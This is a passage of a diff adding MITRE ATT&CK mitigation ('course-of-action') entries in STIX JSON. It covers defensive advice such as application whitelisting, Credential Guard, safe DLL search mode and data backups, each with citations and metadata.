"https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-25T20:53:07.814Z", + "id": "course-of-action--ae56a49d-5281-45c5-ab95-70a1439c338e", + "modified": "2019-07-24T14:18:49.192Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Compiled HTML File Mitigation", + "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "external_references": [ + { + "external_id": "T1223", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1223" + }, + { + "source_name": "PaloAlto Preventing Opportunistic Attacks Apr 2016", + "description": "Kiwi. (2016, April 6). Breakout Recap: Cybersecurity Best Practices Part 1 - Preventing Opportunistic Attacks. Retrieved October 3, 2018.", + "url": "https://live.paloaltonetworks.com/t5/Ignite-2016-Blog/Breakout-Recap-Cybersecurity-Best-Practices-Part-1-Preventing/ba-p/75913" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--08e02f67-ea09-4f77-a70b-414963c29fc2", + "modified": "2019-07-24T14:19:23.148Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Component Firmware Mitigation", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique.\n\nConsider removing and replacing system components suspected of being compromised.", + "external_references": [ + { + "external_id": "T1109", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1109" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--676975b9-7e8e-463d-a31e-4ed2ecbfed81", + "modified": "2019-07-24T18:10:06.475Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Component Object Model Hijacking Mitigation", + "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1122", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1122" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e", + "modified": "2019-07-24T14:20:05.776Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Connection Proxy Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1090", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1090" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d75a3d1b-b536-4f15-a23c-f4bcc17837b8", + "modified": "2019-07-24T18:10:46.757Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Control Panel Items Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.\n\nRestrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.\n\nIndex known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.\n\nConsider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)", + "external_references": [ + { + "external_id": "T1196", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1196" + }, + { + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "source_name": "NSA MS AppLocker", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Microsoft UAC", + "description": "Microsoft. (n.d.). User Account Control. Retrieved January 18, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef", + "modified": "2019-07-24T14:20:57.628Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Create Account Mitigation", + "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "external_references": [ + { + "external_id": "T1136", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1136" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80", + "modified": "2019-07-24T18:11:24.572Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Credential Access Protection", + "description": "Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.", + "external_references": [ + { + "external_id": "M1043", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1043" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T16:47:12.859Z", + "id": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", + "modified": "2019-06-11T16:47:12.860Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Credential Dumping Mitigation", + "description": "### Windows\nMonitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)\n\n### Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.", + "external_references": [ + { + "external_id": "T1003", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1003" + }, + { + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "source_name": "Microsoft Securing Privileged Access", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + }, + { + "source_name": "Microsoft LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + }, + { + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "source_name": "NSA MS AppLocker", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + }, + { + "source_name": "TechNet Credential Guard", + "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard" + }, + { + "source_name": "GitHub SHB Credential Guard", + "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard" + }, + { + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "source_name": "AdSecurity DCSync Sept 2015", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "Microsoft Replication ACL", + "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.", + "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr" + }, + { + "source_name": "Microsoft Disable NTLM Nov 2012", + "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.", + "url": "https://technet.microsoft.com/library/jj865668.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a", + "modified": "2019-07-24T14:21:52.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Credentials in Files Mitigation", + "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)", + "external_references": [ + { + "external_id": "T1081", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1081" + }, + { + "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.", + "source_name": "Microsoft MS14-025", + "url": "http://support.microsoft.com/kb/2962486" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72", + "modified": "2019-07-24T18:12:19.081Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Credentials in Registry Mitigation", + "description": "Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.", + "external_references": [ + { + "external_id": "T1214", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1214" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--4490fee2-5c70-4db3-8db5-8d88767dbd55", + "modified": "2019-07-24T14:22:57.902Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Custom Command and Control Protocol Mitigation", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1094", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1094" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3", + "modified": "2019-07-24T18:13:22.017Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Custom Cryptographic Protocol Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1024", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1024" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad", + "modified": "2019-07-24T18:14:14.227Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "DCShadow Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", + "external_references": [ + { + "external_id": "T1207", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1207" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--b70627f7-3b43-4c6f-8fc0-c918c41f8f72", + "modified": "2019-07-24T14:23:59.683Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "DLL Search Order Hijacking Mitigation", + "description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "external_references": [ + { + "external_id": "T1038", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1038" + }, + { + "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.", + "source_name": "Microsoft DLL Preloading", + "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx" + }, + { + "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", + "source_name": "Microsoft DLL Search", + "url": "http://msdn.microsoft.com/en-US/library/ms682586" + }, + { + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "source_name": "Powersploit", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04", + "modified": "2019-07-24T18:15:13.659Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "DLL Side-Loading Mitigation", + "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.", + "external_references": [ + { + "external_id": "T1073", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1073" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908", + "modified": "2019-07-24T14:24:44.818Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Data Backup", + "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", + "external_references": [ + { + "external_id": "M1053", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1053" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:33:33.543Z", + "id": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "modified": "2019-07-19T14:33:33.543Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Data Compressed Mitigation", + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.", + "external_references": [ + { + "external_id": "T1002", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1002" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33", + "modified": "2019-07-24T18:16:17.610Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Data Destruction Mitigation", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1488", + "url": "https://attack.mitre.org/mitigations/T1488" + }, + { + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "source_name": "Ready.gov IT DRP", + "url": "https://www.ready.gov/business/implementation/IT" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-14T20:17:16.234Z", + "id": 